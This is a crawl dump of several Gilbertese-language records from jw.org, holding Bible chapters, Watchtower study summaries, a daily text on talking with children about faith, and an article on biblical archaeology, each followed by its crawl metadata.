taetae. 31 Bwa kam bane ni kona n taetae ni burabeti temanna imwin temanna, n te aro are kam na bane n reirei ma ni bane ni kaungaaki.+ 32 Ao a riai burabeti ni boni bairea raoi aroni kabonganaan ana bwaintituaraoi te taamnei ae te konaa n taetae ni burabeti. 33 Bwa tiaki te tia karekea te mangaongao te Atua, ma te tia karekea te rau.+ N aron ae karaoaki n aia ekaretia nako te koraki aika itiaki,* 34 ke a kainabwabu aine n taian ekaretia, bwa e aki kariaiakaki bwa a na taetae.+ Ma n oneani mwin anne, ke a aantaeka,+ n aron are e taekinaki n te Tua. 35 Ngkana a kan reiakina te bwai teuana, ao ke a titirakinia oini buuia ni mwengaia, bwa moan te kabwainrang ngkana e taetae te aine n te ekaretia. 36 E nako mairoumi ana taeka te Atua, ke tao e roko iroumi n tii ngkami? 37 Ngkana e iangoia temanna bwa te burabeti ngaia ke iai irouna te bwaintituaraoi rinanon te taamnei, ao e riai ni butimwaei baika I korei nakoimi bwa bon ana kaetieti te Uea. 38 Ma ngkana iai ae e kakeaa, ao e na kakeaaki naba.* 39 Mangaia ae tariu, teimatoa n ukoukora karekean te bwaintituaraoi ae te konaa n taetae ni burabeti,+ ma tai tuka te taetae n taetae aika kakaokoro.+ 40 Ma a na bane bwaai ni karaoaki n te aro ae riai ma ni baireaki raoi.*+\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/1-i-korinto\/14\/","date":"2018-04-21T01:22:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125944848.33\/warc\/CC-MAIN-20180420233255-20180421013255-00352.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1236,"character_repetition_ratio":0.093,"word_repetition_ratio":0.005,"special_characters_ratio":0.237,"stopwords_ratio":0.456,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ti kaungako bwa ko na manga okira te moanibaa, ke kabonganai links aika i nano aikai.\nTaian atu n reirei aika n te itera aei, a kaota bukina ngkai ko kona n onimakina te Baibara, arom ni kakabwaiaaki iai, ao manenan raoi te Baibara.\nNori baika a tibwa toka ao rongorongo aika kakaongora.\nKakaaea riki rongorongora. Kakaaea te tabo ae ti bobotaki iai, ko na kangaa n reitaki ma ngaira ao ko na kangaa ni bubutii te reirei n te Baibara ae aki kabooaki.","id":"","dump":"CC-MAIN-2018-26","url":"https:\/\/www.jw.org\/gil\/e-aki-moa-tauraoi\/","date":"2018-06-18T17:35:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267860684.14\/warc\/CC-MAIN-20180618164208-20180618184208-00428.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":84,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.207,"stopwords_ratio":0.417,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ni katoa ririki ao a ikotaki Ana Tia Kakoaua Iehova ni kurubu aika bubura n aia bwabwaro aika tenua te bong maania. N ara bwabwaro aikai, ao iai taiani kabwarabwara ao taamnei, aika reke iai reirei man te Baibara. A kaotaki n taiani maroro ao kaotioti aroni maiuakinani booto n reirei man te Baibara ni maiura. Ti kaoko bwa ko na kaea te bwabwaro aei. Akea te rikomwane iai.","id":"","dump":"CC-MAIN-2018-34","url":"https:\/\/www.jw.org\/gil\/ana-tia-kakoaua-iehova\/bwabwaro\/","date":"2018-08-16T00:42:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-34\/segments\/1534221210387.7\/warc\/CC-MAIN-20180815235729-20180816015729-00591.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":69,"character_repetition_ratio":0.104,"word_repetition_ratio":0.0,"special_characters_ratio":0.201,"stopwords_ratio":0.42,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE TAUA-N-TANTANI (KAONGORA IBUKIN TE REIREI) Eberi 2018\nIai n te kangora aei reirei ibukin Tun 4 nakon Turai 8, 2018.\nA ingainga aomata ni kani kainaomataaki man te karawawataaki, te kairiribai, ao te maiu ni kainnano, ao tabemwaang a bubutii inaomataia n taekina ae a kan taekinna ke inaomataia ni karaoa aia motinnano. E kona n reke te inaomata raoi?\nE kangaa ni kainaomataira taamnein Iehova? Ao ti na kangaa n rarawa ni kamanena buaka inaomatara mairoun te Atua?\nE taraa n ae e aki onimakinna i bon irouna Timoteo ngke e moana ana mwakuri ma te abotoro Bauro. Tera reireiaia unimwaane ao tabonibai n te ekaretia n ana katoto n Timoteo?\nA kainnanoa te kaungaunga n taai nako ana aomata Iehova.\nN iangoan ae e a rangi ni kaan ana bong Iehova, ti riai n tabeakinia tarira bwa ti aonga ni kakorakoraia n taai ake a kainnanoia iai.\nA kona ni mangaongao aia iango rooro n rikirake ibukina bwa a bati motinnano ao babaire aika a riai ni karaoi. A na kangaa ni wanawana n rinea aroni maiuia n taai aika na roko?\nE aera bwa e aki kariaiakaki katokaan aia boki Ana Tia Kakoaua Iehova n oin ana website temanna ke te social media?\nTera aron ana kabwarabwara te Baibara ae Te Rairai ae te Aonnaba ae Boou ni manga rinanoan Taian Areru 144?","id":"","dump":"CC-MAIN-2018-34","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/tau-n-tantani-reirei-eberi-2018\/","date":"2018-08-17T04:09:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-34\/segments\/1534221211664.49\/warc\/CC-MAIN-20180817025907-20180817045907-00691.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":222,"character_repetition_ratio":0.028,"word_repetition_ratio":0.0,"special_characters_ratio":0.212,"stopwords_ratio":0.446,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"N TE MWAKORO AEI\nMWAKORO 12\nBukin tera ngkai e bwabetitoaki Iesu ao akea ana bure?\nMWAKORO 13\nA kakoauaaki ni kataakin Iesu baika uoua aika koaua ibukin te Riaboro.\nMWAKORO 14\nTera are a kakoauaa iai taani moan rimwin Iesu ake onoman bwa e a tia n reke irouia te Mesia?\nMWAKORO 15\nE kaotia Iesu nakon tinana ae e a kairaki ngkai iroun Tamana are i karawa ma tiaki iroun neiei\nMWAKORO 16\nA kariaiakaki aomata n ana Tua te Atua bwa a na kabooi maan i Ierutarem ibukin te angakarea, ma e aera ngkai e aki kukurei Iesu irouia taani boobwai n te tembora?\nMWAKORO 17\nTera ae nanonaki n te \"manga bungiaki\"?\nMWAKORO 18\nA bakantang taan rimwin Ioane te tia Bwabetito e ngae ngke e aki bakantang Ioane.\nMWAKORO 19\nE tuangaki neiei iroun Iesu te bwai ae e tuai n tuanga temanna.","id":"","dump":"CC-MAIN-2018-34","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/iesu\/moanakin-mwakuri-ni-minita\/","date":"2018-08-17T03:36:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-34\/segments\/1534221211664.49\/warc\/CC-MAIN-20180817025907-20180817045907-00460.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":140,"character_repetition_ratio":0.045,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.371,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"I BUKINI buokara bwa ti na ataia bwa antai te Mesia, Iehova ae te Atua e kairi korean taian taetae ni burabeti n te Baibara ni kaineti ma bungiakin te tia Kamaiu ae e beritanaki aei, ana mwakuri ni minita, ao matena. A kakoroaki bukin taetae ni burabeti aikai ni kabane iroun Iesu Kristo. E kamimi bwa a bon eti rongorongo aika taekinaki iai ao a kabwarabwaraaki raoi. Ibukini kamatataana, ti na rinanoi tabeua taian taetae ni burabeti ake a kaineti ma bungiakin te Mesia ao ana tai n ataei.\nTe burabeti temanna ae Mika, e a kaman taekinna naba bwa e na riki te nati aei bwa te tia tautaeka ao e na bungiaki i \"Betereem Eberata.\" (Mika 5:2) N ana tai ni bungiaki Iesu, ao iai uoua te kaawa i Iteraera ake a aranaki bwa Betereem. Teuana e mena i rarikin Natareta i meangin te aba, ao are teuana e kaan ma Ierutarem i Iuta. Betereem are i rarikin Ierutarem e aranaki rimoa bwa Eberata. E bungiaki Iesu n te kaawa anne, n aron are e a kaman taetae ni burabetinaki!\nTe taetae ni burabeti teuana riki n te Baibara, e a kaman taekinaki iai bwa e na weteaki \"mai Aikubita\" Natin te Atua. Ngke e uarereke Iesu ao e kairaki nako Aikubita. Ma e a manga anaaki imwini maten Erote, mangaia are e kakoroaki iai bukin te taetae ni burabeti.\nN te taibora \"Taetae ni Burabeti Ibukin te Mesia,\" a karinanaki iai taiani kibu i aan te atu ae \"Taetae ni Burabeti\" ao kiibu aikai a kaineti ma taekan te Mesia. Taiaoka ni kabotaui rongorongo aikai ma kiibu ake a karinanaki i aan te atu ae \"Kakoroana.\" Karaoan anne e na kakorakoraa riki am onimaki ni koauan raoi Ana Taeka te Atua.\nI nanon am tai n rinanoni kiibu aikai, ururingnga are a a kamani koreaki taetae ni burabeti aikai bubua ma bubua te ririki imwaini bungiakin Iesu. E taku Iesu: \"A riai ni kakoroaki bukini bwaai ni kabane aika koreaki bwa taekau n te Tua Rinanoni Mote ao n aia koroboki Burabeti ao n Taian Areru.\" (Ruka 24:44) Ko kona ni kakoauaa mani warekan am Baibara bwa a boni bane ni koro raoi bukia!","id":"","dump":"CC-MAIN-2018-34","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/ana-reirei-te-baibara\/iesu-kristo-te-mesia-are-beritanaki\/","date":"2018-08-21T05:11:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-34\/segments\/1534221217951.76\/warc\/CC-MAIN-20180821034002-20180821054002-00489.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":366,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.216,"stopwords_ratio":0.423,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ana kaeka te Baibara\nE tabu te maiu iroun te Atua ao e iangoaki te teei ae tuai ni bungiaki bwa bon te aomata ae maiu ae kaokoro ma maiun tinana. E kairaki n te taamnei te Uea ae Tawita bwa e na korea ae kangai ibukin te Atua: \"\nA norai naba matam ngke I a tibwa beru.\" (Taian Areru 139:16) E taekinna te Atua bwa e na boni kaekaa bukinana te aomata ibukin kaikoakan te teei ae tuai ni bungiaki. Ngaia are kabwakaan te teei ae tuai ni bungiaki bon te tiritiri irouna.—Te Otinako 20:13; 21:22, 23.\nMa tera arona ngkana e a karina n riki te kangaanga n te bung, ike a a riai iai taanga ni baireia bwa antai ae e na kawakinaki maiuna, te teei ke te tina? Ni kaineti ma anne ao a riai taanga ni baireia bwa antai ae e na maiu.","id":"","dump":"CC-MAIN-2018-34","url":"https:\/\/www.jw.org\/gil\/baibara-reirei\/titiraki\/kabwakaan-te-teei-ae-tuai-ni-bungiaki-ana-iango-te-baibara\/","date":"2018-08-21T05:04:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-34\/segments\/1534221217951.76\/warc\/CC-MAIN-20180821034002-20180821054002-00319.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":144,"character_repetition_ratio":0.097,"word_repetition_ratio":0.0,"special_characters_ratio":0.253,"stopwords_ratio":0.472,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te kaetieti nakon te mataniwi n te anene. Mairoun Tawita ae ana toro Iehova, are e taekini taekan te anene aei nakon Iehova, n te bong are e kamaiua iai Iehova mai nanoni baia akana kairiribai nakoina ni kabane, ao mai nanoni bain Tauro. E taku:+\n18 I tatangiriko ngkoe ae Iehova, ae korakorau.+\n2 Bon au bwaa ae rietata Iehova ao au nono, ao boni Ngaia ae kamaiuai.+\nBon au bwaa Atuau+ ae I kamanoai irouna,\n3 I wewete nakon Iehova ae riai ni karaoiroaki,\nAo N na kamaiuaki mairouia akana kairiribai nakoiu.+\n4 E katobibiai te mate n aron taian roobu,+\nAo a rina n raanga nakoiu ni kakamaakai mwaane aika akea manenaia.+\n5 E otabwaniniai te Ruanimate n aron taian roobu,*\nAo e kaitaraai te mate n ai aron te bwai ni kamwane.+\n6 I wewete nakon Iehova i buakon rawawatau,\nI teimatoa n tang nakon Atuau ni kani buokaki.\n7 Ao e ruru te aonnaba ma ni mwainging,+\nAo a mwaeiei aani maunga,\nA ruru ma ni mwainging ibukina bwa e kaunaki.+\n8 E waerake te bubu mani bwangabwangani bwairina,\nAo e otinako te ai ae kaakang mai wina.+\nA nako mairouna mwaakaro aika ura.\n11 E rabunna ngkanne n te rotongitong,+\nNi katobibia bwa kaanga ana tabo ni katantan,\nAika raan aika roo ao naang aika matenten.+\n12 E otinako te karau ae te aiti ma mwaakaro n ai ribuakon naang\nMan te oota are mena i matana.\n13 Ao e a karebwea te baa i karawa Iehova,+\nE kaongongo bwanaana Teuare Moan te Rietata,+\nN te karau ae te aiti ma mwaakaro n ai.\n14 E katebei kanoan ana kainikatebe ao e kamaenakoia+ akana kairiribai nakoiu.\nE karenakoa ana iti i aoia ao e kamangaoia.+\nAo e a kaotaki aan te aba ni boaan te aba iroum ngkoe ae Iehova,\nN angin ikeikeni bwangabwangani bwairim.+\n16 E arora baina man te tabo ae rietata,\nAo e tauai ma ni katikai mai nanon te ran ae makuakua.+\n17 E kamaiuai mairoun teuare kairiribai nakoiu ae korakora,+\nAo mairouia ake a riribaai, ake a korakora riki nakoiu.+\n18 A kaitaraai n te bong are I rotaki iai n te kabuanibwai,+\nMa bon au boutoka Iehova.\n20 E anganai kaniwangau Iehova ni kaineti ma raoiroiu,+\n21 Bwa I kawakini kawain Iehova,\nAo I aki kitana Atuau, ae te mwakuri ae buakaka.\n22 A bane ni mena ana motikitaeka i matau,\nN na aki kakeaa bongan ana tua.\n24 E bia anganai boou Iehova ni kaineti ma raoiroiu,+\nAo ni kaineti ma baiu aika akea aia bure i matana.+\n25 Ko kakaonimaki ni koaua nakon ane e karaoa naba anne,+\nAo ko kaotiko bwa ko raoiroi nakon te aomata ae raoiroi.+\n26 Ko kaotiko bwa ko itiaki nakon ane e itiaki,+\nMa ko kaotiko bwa ko nanowanawana nakon ane e buakaka.+\n28 Bwa boni ngkoe Iehova ae ko kauraa au taura,\nAtuau ae kaotaa au rotongitong.+\n29 I kona ni biri ni kaaitaraia taani kuribwai n am ibuobuoki,+\nAo I kona n tamwarakea te oo ni mwaakan te Atua.+\nBon te otanga ngaia nakoia te koraki ni kabane ake a kamanoia irouna.+\n31 Bwa antai te Atua irarikin Iehova?+\nAo antai riki te bwaa, ngkai bon tii Atuara?+\n32 Bon te Atua ae koaua ae ngaia ae kunnikaiai n te korakora,+\nAo e na karaoa kawaiu bwa e na kororaoi,+\n33 E karaoi waeu bwa a na waekoakoa n aroni waen te ria,\nAo e kateai n taabo aika rietata.+\n34 E kataneiai baiu ibukin te buaka,\nA kona baiu ni kabwaoua te kainikatebe ae te buraati.\n35 Ko anganai am otanga ni kakamaiu,+\nE boutokaai* baim are te atai,\nAo arom n nanorinano e karikai bwa N na kakannato.+\n37 N na kaeiia akana kairiribai nakoiu ao N na taonianako,\nN na aki oki ni karokoa ae a mauna.\n38 N na kamanatuaia bwa a aonga n aki kona n teirake,+\nA na bwaka i aani waeu.\n39 Ko na kataubobongaai n te korakora ibukin te buaka,\nKo na kabwakaia i aau akana kairiribai nakoiu.+\n40 Ko na kamumunia rikaaki mairou akana kairiribai nakoiu,*\n41 A tang ni kani buokaki ma akea ae e na kamaiuia,\nA tang naba nakon Iehova, ma e aki kaekaia.\n42 N na ikikiia ni kamteia n aroni bubun te tano n unin te ang,\nN na karenakoia n aroni bokabokan te kawai.\n43 Ko na kamaiuai man aia kaiangatoa aomata.+\nKo na rineai bwa te mataniwi i aoia natannaomata.+\nE na beku irou te botannaomata ae I aki kinaa.+\n44 A na bon ongeaba irou e ngae ngke a tii ongora rongorongou,\nA na kui ni kerikaaki ianena i matau.+\n45 Ane e na bua ninikoriaia* ianena,\nAo a na roko ma te rurubenebene man aia nono.\n46 E maiu Iehova! E na karaoiroaki au Bwaa!+\nKe e karietataaki te Atua ae te tia kamaiuai.+\n47 E karekekai ibukiu te Atua ae koaua,+\nE kataenikaiia botannaomata i aau.\n48 E kamaiuai mairouia akana kairiribai nakoiu aika unun,\nKo tabekai rake i aoia te koraki aika ekainako,+\nAo ko kamaiuai mairoun te mwaane ae iowawa.","id":"","dump":"CC-MAIN-2018-39","url":"https:\/\/wol.jw.org\/gil\/wol\/b\/r178\/lp-gb\/nwt\/GB\/2013\/19\/18","date":"2018-09-20T13:18:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-39\/segments\/1537267156471.4\/warc\/CC-MAIN-20180920120835-20180920141235-00052.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":813,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.439,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE TAUA-N-TANTANI (KAONGORA IBUKIN TE REIREI) February 2017\nIai n te maekatin aei kaongora ibukin te reirei n Eberi 3-\nTera ana moani kantaninga te Atua ibukin te aonnaba ao te botannaomata? Tera te kangaanga are e riki? E aera e riki ana karea ni kaboomwi Iesu bwa te kiing ae kauka te mataroa are e na kakororaoaki iai ana moani kantaninga te Atua?\nE aki tii karekei mwioko aika raraoi ana babaire te Atua, ma e karekei baika rangi ni kakawaki ibukia aomata nako i karawa ao n te aonnaba.\nRONGORONGONI MAIUNA\nA nora ana akoi ae rianako te Atua Douglas ma Mary Guest ngke a bwaiania i Kanata ao ni mitinare i Brazil ao Botukare.\nN taai ake rimoa e kamanenaia Iehova tabemwaang bwa a na kaiririia ana aomata. Tera te bwai ni kakoaua ae oti iai bwa e boni boutokaiia nakanne?\nE berita Iesu bwa e na memena i rarikia taan rimwina ni karokoa tokin te waaki ae ngkai. Tera arona ni kaiririia ana aomata te Atua i aon te aba ngkai?\nE koreia te abotoro Bauro bwa te Atua e \"na aki kariaia bwa kam na kaririaki n ae riaon ami konaa.\" E nanonaki n aei bwa te Atua e a kamani bairea te bae ti konaa ao imwina e rinei kataaki aika a na riki nakoira?\nRONGORONGORA RIMOA\nN raabanen 1920 tabun ao moan 1930 tabun, a kaota ingaingaia bwaiania ao nanomatoaia n uota te rongorongo ae raoiroi ae taekan Ana Tautaeka n Uea te Atua nakon te aono ae raroanako ma kaawa i Aotiteria.","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/te-reirei-n-te-taua-n-tantani-beberuare-2017\/","date":"2018-10-15T16:03:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583509326.21\/warc\/CC-MAIN-20181015142752-20181015164252-00498.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":256,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.215,"stopwords_ratio":0.457,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A boutokaaki baika a koreaki n te Baibara ni baika kuneaki irouia taan rabakau?\nE taekinaki n te kaongora ae boreetiaki n te Biblical Archaeology Review bwa a kakoauaaki taekani maiuia aomata aika \"50 mwaitiia\" ake a koreaki n te Koroboki ae Tabu n te Taetae n Ebera man aia kukune taan rabakau. Mai buakoia te koraki akanne bon uean Iuta ao Iteraera aika 14 n ikotaki naba ma ake a kinaaki riki n aron Tawita ma Etekia ao aika a aki rangi ni kinaaki n aroni Menaem ao Bika. E kaotaki naba iai taekaia taiani Barao aika 5 ao 19 ueea aika uean Aturia, Baburon, Moaba, Biritia, ao Turia. Ma e ngae n anne, a aki tii kaotaki taekaia ueea n te Baibara ke ni baika kuneaki irouia taan rabakau. A kaotaki naba taekaia te koraki aika mangori n aroia ibonga aika rietata, taani koroboki ao mataniwi riki tabeman.\nE taekinaki n te kaongora bwa \"a mwaiti taan rabakau aika boraoi n iango\" ibukini kakoauaan raoi kinaakia te koraki akanne. Ni koauana, iai riki taekaia aomata aika kinaaki rimoa aika kaotaki n te Koroboki ni Kristian ae Tabu n te Taetae ni Kuriiti ao bwaai naba ni kakoaua ni baika kuneaki irouia taan rabakau aika boutokai taekaia te koraki akanne n aron Erote, Bontio Birato, Tiberio, Kaiaba ao Terekio Baurati.\nN ningai te tai ae a mauna iai raian man aaba ake a taekinaki n te Baibara?\nE ngae ngke akea raian ni buakonikain te Aba ae Tabu ni boong aikai, ma a kaotaki ni kiibu man te Baibara aika tao 150 mwaitiia bwa a taneiai taani korea te Baibara ma raian. Boni kaikonaki angiini kiibu aikai ma e ngae n anne a kaotaki n rongorongo tabeua taekaia aomata aika a kaitiboo ma raian. N te katoto, a kamoamoaaki Tamton, Tawita ao Benaia ibukin tiringaia raian. (Taani Motiki-Taeka 14:5, 6; 1 Tamuera 17:34, 35; 2 Tamuera 23:20) Ma iai naba tabeman aika tiringaki irouia raian.\nA kona ni kuneaki raian n taai ake rimoa n te aono n Atia (Panthera leo persica) ni moa mai Asia Minor ao Kuriiti nako Baretain, Turia, Metobotamia ao i meang maeaon Inria. E mamaakaki ao ni karineaki te man aei ao e aki toki n oti bannana n te Near Eastern art. E katamaroaaki oon te Babylon's Processional Way ae te buriki ni bannan taian raian.\nA kamateaki raian irouia taani buaka i Baretain ni karokoa raabanen te ka 12 n tienture C.E. Ai akea ngkai raian n te tabo anne, teutana te tai imwin te ririki 1300. Ma e ngae n anne, e ribootinaki bwa iai aika mena i Metobotamia ma Turia ni karokoa te ka 19 n tienture ao iai naba i aon Iran ao Iraq ni moan iteran te ka 20 n tienture","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/wp20150501\/bible-archaeology\/","date":"2018-10-17T18:49:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583511206.38\/warc\/CC-MAIN-20181017174543-20181017200043-00320.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":447,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.385,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ebetamereka bon te mataniwi n ana baareti te Uea ae Tetekia, ao e kaotiotii aroaro aika kakukureia te Atua\nE ninikoria ao e waekoa ni karaoa ana babaire ngke e kawara te Uea ae Tetekia ibukin Ieremia ao imwina e kamaiua Ieremia man te mwarua n ran\nE kaota te akoi ni katauraoani kunnikai aika mangaingai ma moimoti aika mane bwa nangoan aani bain Ieremia ngke e kaerakeaki n te roobu","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/mei-2017-mwb\/kaetieti-n-te-botaki-mei8-14\/e-ninikoria-ao-e-akoi-ebetamereka\/","date":"2018-10-19T14:01:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583512400.59\/warc\/CC-MAIN-20181019124748-20181019150248-00332.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":71,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.185,"stopwords_ratio":0.437,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Akai 2:9Te Baibara ae Tabu te Rairai ae te Aonnaba ae Boou 9 \"'E na korakora riki tamaroan te auti ae boou aei nakon are rimoa,'+ bon ana taeka Iehova ae Atuaia taanga ni buaka. \"'Ao N na karokoa te rau n te tabo aei,'+ bon ana taeka Iehova ae Atuaia taanga ni buaka.\"","id":"","dump":"CC-MAIN-2018-47","url":"https:\/\/wol.jw.org\/gil\/wol\/bc\/r178\/lp-gb\/1001061127\/1722","date":"2018-11-14T20:18:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039742263.28\/warc\/CC-MAIN-20181114191308-20181114212728-00012.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":53,"character_repetition_ratio":0.108,"word_repetition_ratio":0.0,"special_characters_ratio":0.261,"stopwords_ratio":0.472,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Antai ngai iroumi?—Mt 16:15.\nE aki maakinia taan rimwina Iesu n titirakinia te bwai ae a kakoauaa. Kakairi n ana katoto. Moan te raoiroi te maroro ma natim ngkana kam kaai ni karaoa te bwai teuana ao ko a kaungaia naba bwa a na taekin aia namakin. Ngkana e aki kakoauai reirei tabeua natim ngkekei naba, tai taetae n te aro ae matoatoa ke tao ni kairoroa bwa e na ira am iango. Taotaona nanom ao buokia bwa e na iaiangoa te reirei anne. E rangi n ibuobuoki iangoan ana titiraki natim bwa kaotan ae iai ana iango ao e kan ota. E tabeki naba titiraki aika kakawaki Iesu ngke 12 ana ririki. (Rk 2:46) Atai raoi aroia natimi ni kaineti ma aia iango, aia namakin, ao tabeaiangaia. Tai iangoia bwa iai aia onimaki ngkai a iriri ni bobotaki ni Kristian ao n uataboa te mwakuri ni minita ma ngkoe. Taekini baika a irekereke ma te Atua ngkana kam kaai ni karaoi tabemi ni katoabong. Tataro ibukia natimi ngkana raomi ao ngkana tii ngkami. Kam riai ni kataia n atai kataakin aia onimaki ao buokiia n tokanikai iai. w16.09 5:3-5","id":"","dump":"CC-MAIN-2018-51","url":"https:\/\/wol.jw.org\/gil\/wol\/dt\/r178\/lp-gb\/2018\/12\/15","date":"2018-12-15T03:09:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376826686.8\/warc\/CC-MAIN-20181215014028-20181215040028-00389.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":186,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.366,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"66 E kangai ana taeka Iehova:\n\"Karawa bon au kaintokanuea, ao aonnaba bon nangoani waeu.+\n2 \"E boni karaoi baikai ni kabane oini baiu,\nAo anne aron rikia,\" bon ana taeka Iehova.+\n3 Te aomata ae kamatea te kao mwaane kaanga ai aron ane e tiringa te aomata.+\nTe aomata ae kareana te tiibu kaanga ai aron ane e otea roroan te kamea.+\nTe aomata ae kareana te bwaintituaraoi kaanga ai aron ane e kareana raraan te beeki!+\nA bon rinei oini kawaia,\nAo a rangi ni kimwareirei n te bwai ae koro n ribaaki.\n4 Mangaia ae N na rinei aanga aika N na katuuaaeia iai,+\nAo N na karokoi i aoia baike a boni maakui.\nIbukina bwa akea ae e kaeka ngke I wewete,\nAo akea ae e kakauongo ngke I taetae.+\nA teimatoa ni karaoa ae buakaka i matau,\nAo a rineia bwa a na karaoa te bwai ae I aki kukurei iai.\"+\n5 Ngkami aika kam rurubenebene* n ana taeka Iehova, ongora n ana taeka ae kangai:\n\"A taku tarimi ake a ribaingkami ao ni katinanikuingkami ibukin arau, 'E bia neboaki 